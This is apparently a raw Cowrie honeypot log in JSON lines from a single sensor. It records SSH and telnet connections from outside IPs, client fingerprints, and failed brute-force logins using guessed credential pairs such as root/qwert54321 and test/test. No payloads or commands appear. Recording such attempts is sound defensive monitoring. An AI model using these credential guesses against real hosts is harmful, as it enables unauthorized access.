{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:25.269774Z","src_ip":"194.59.206.2","session":"9e5059616744","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:25.368588Z","src_ip":"194.59.206.2","session":"9e5059616744","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45816,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2b54452d9c2","protocol":"telnet","message":"New connection: 192.119.13.58:45816 (10.17.0.5:23) [session: c2b54452d9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:35.558386Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32898,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ae4290fe50e","protocol":"telnet","message":"New connection: 192.119.13.58:32898 (10.17.0.5:23) [session: 6ae4290fe50e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:39.758287Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36374,"dst_ip":"10.17.0.5","dst_port":23,"session":"53227300b37d","protocol":"telnet","message":"New connection: 192.119.13.58:36374 (10.17.0.5:23) [session: 53227300b37d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:40.623986Z"}
{"eventid":"cowrie.session.closed","duration":1.718517780303955,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:42.342439Z","src_ip":"192.119.13.58","session":"53227300b37d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45678,"dst_ip":"10.17.0.5","dst_port":23,"session":"c53d76efc46e","protocol":"telnet","message":"New connection: 192.119.13.58:45678 (10.17.0.5:23) [session: c53d76efc46e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:42.894949Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51318,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cd190a9ac5a","protocol":"telnet","message":"New connection: 192.119.13.58:51318 (10.17.0.5:23) [session: 3cd190a9ac5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:44.282342Z"}
{"eventid":"cowrie.session.closed","duration":37.478463888168335,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:48.404522Z","src_ip":"192.119.13.58","session":"93d06fada8ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.18175387382507,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:49.310117Z","src_ip":"192.119.13.58","session":"d61b3febec24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58788,"dst_ip":"10.17.0.5","dst_port":23,"session":"c76545f1c50d","protocol":"telnet","message":"New connection: 192.119.13.58:58788 (10.17.0.5:23) [session: c76545f1c50d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:53.070758Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":41680,"dst_ip":"10.17.0.5","dst_port":22,"session":"09276f14ea38","protocol":"ssh","message":"New connection: 80.94.92.184:41680 (10.17.0.5:22) [session: 09276f14ea38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:54.919985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:54.963159Z","src_ip":"80.94.92.184","session":"09276f14ea38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:55.077914Z","src_ip":"80.94.92.184","session":"09276f14ea38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38784,"dst_ip":"10.17.0.5","dst_port":23,"session":"b25559b5dd95","protocol":"telnet","message":"New connection: 192.119.13.58:38784 (10.17.0.5:23) [session: b25559b5dd95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:55.127602Z"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:56.028476Z","src_ip":"80.94.92.184","session":"09276f14ea38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.2072012424469,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:56.544818Z","src_ip":"192.119.13.58","session":"6b3c76aea4da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:13:57.298349Z","src_ip":"80.94.92.184","session":"09276f14ea38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60238,"dst_ip":"10.17.0.5","dst_port":23,"session":"47fd3748f1bb","protocol":"telnet","message":"New connection: 192.119.13.58:60238 (10.17.0.5:23) [session: 47fd3748f1bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:00.385611Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":39440,"dst_ip":"159.203.135.109","dst_port":22,"session":"ede972154617","protocol":"ssh","message":"New connection: 103.122.221.179:39440 (159.203.135.109:22) [session: ede972154617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:09.314888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:09.319783Z","src_ip":"103.122.221.179","session":"ede972154617","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:09.585380Z","src_ip":"103.122.221.179","session":"ede972154617","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwert54321","message":"login attempt [root/qwert54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:10.374659Z","src_ip":"103.122.221.179","session":"ede972154617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:11.640844Z","src_ip":"103.122.221.179","session":"ede972154617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58686,"dst_ip":"10.17.0.5","dst_port":23,"session":"940ad8a68c31","protocol":"telnet","message":"New connection: 192.119.13.58:58686 (10.17.0.5:23) [session: 940ad8a68c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:14.028811Z"}
{"eventid":"cowrie.session.closed","duration":34.58347249031067,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:14.341653Z","src_ip":"192.119.13.58","session":"6ae4290fe50e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38648,"dst_ip":"10.17.0.5","dst_port":23,"session":"3678cada9f28","protocol":"telnet","message":"New connection: 192.119.13.58:38648 (10.17.0.5:23) [session: 3678cada9f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:16.049106Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40760,"dst_ip":"10.17.0.5","dst_port":23,"session":"4834f6e05aac","protocol":"telnet","message":"New connection: 192.119.13.58:40760 (10.17.0.5:23) [session: 4834f6e05aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:16.620978Z"}
{"eventid":"cowrie.session.closed","duration":34.44301986694336,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:17.337861Z","src_ip":"192.119.13.58","session":"c53d76efc46e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.07962441444397,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:19.637902Z","src_ip":"192.119.13.58","session":"c2b54452d9c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":7328,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc5888dae7db","protocol":"ssh","message":"New connection: 193.46.255.86:7328 (159.203.135.109:22) [session: bc5888dae7db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:24.642571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:24.651360Z","src_ip":"193.46.255.86","session":"bc5888dae7db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:24.777629Z","src_ip":"193.46.255.86","session":"bc5888dae7db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.04475283622742,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:25.326975Z","src_ip":"192.119.13.58","session":"3cd190a9ac5a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:25.352422Z","src_ip":"193.46.255.86","session":"bc5888dae7db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:26.481713Z","src_ip":"193.46.255.86","session":"bc5888dae7db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:27.611108Z","src_ip":"193.46.255.86","session":"bc5888dae7db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123","message":"login attempt [test/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:28.740018Z","src_ip":"193.46.255.86","session":"bc5888dae7db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34474,"dst_ip":"10.17.0.5","dst_port":23,"session":"37a290c45daa","protocol":"telnet","message":"New connection: 192.119.13.58:34474 (10.17.0.5:23) [session: 37a290c45daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:28.786493Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234","message":"login attempt [test/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:29.870362Z","src_ip":"193.46.255.86","session":"bc5888dae7db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:30.999093Z","src_ip":"193.46.255.86","session":"bc5888dae7db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.873186111450195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:32.258643Z","src_ip":"192.119.13.58","session":"47fd3748f1bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":55316,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e7401e8c77c","protocol":"ssh","message":"New connection: 37.233.85.71:55316 (159.203.135.109:22) [session: 5e7401e8c77c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:32.891013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:32.896356Z","src_ip":"37.233.85.71","session":"5e7401e8c77c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:33.001250Z","src_ip":"37.233.85.71","session":"5e7401e8c77c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sirius","message":"login attempt [root/sirius] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:33.315909Z","src_ip":"37.233.85.71","session":"5e7401e8c77c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:34.423751Z","src_ip":"37.233.85.71","session":"5e7401e8c77c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.84559154510498,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:36.973086Z","src_ip":"192.119.13.58","session":"b25559b5dd95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.677374839782715,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:37.748015Z","src_ip":"192.119.13.58","session":"c76545f1c50d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44966,"dst_ip":"10.17.0.5","dst_port":23,"session":"88321eddbdda","protocol":"telnet","message":"New connection: 192.119.13.58:44966 (10.17.0.5:23) [session: 88321eddbdda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:38.101733Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58924,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc46925ca70e","protocol":"telnet","message":"New connection: 192.119.13.58:58924 (10.17.0.5:23) [session: cc46925ca70e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:41.788031Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38860,"dst_ip":"10.17.0.5","dst_port":23,"session":"4db9ba8cc4d6","protocol":"telnet","message":"New connection: 192.119.13.58:38860 (10.17.0.5:23) [session: 4db9ba8cc4d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:43.938615Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43320,"dst_ip":"10.17.0.5","dst_port":23,"session":"e46a1288636b","protocol":"telnet","message":"New connection: 192.119.13.58:43320 (10.17.0.5:23) [session: e46a1288636b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:44.958488Z"}
{"eventid":"cowrie.session.closed","duration":31.17954683303833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:45.208252Z","src_ip":"192.119.13.58","session":"940ad8a68c31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55330,"dst_ip":"10.17.0.5","dst_port":23,"session":"436009709ca5","protocol":"telnet","message":"New connection: 192.119.13.58:55330 (10.17.0.5:23) [session: 436009709ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:48.110671Z"}
{"eventid":"cowrie.session.closed","duration":32.39872765541077,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:49.019600Z","src_ip":"192.119.13.58","session":"4834f6e05aac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59980,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5513b399b8c","protocol":"telnet","message":"New connection: 192.119.13.58:59980 (10.17.0.5:23) [session: b5513b399b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:49.319684Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33922,"dst_ip":"10.17.0.5","dst_port":23,"session":"6324aa0ffd05","protocol":"telnet","message":"New connection: 192.119.13.58:33922 (10.17.0.5:23) [session: 6324aa0ffd05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:14:49.885007Z"}
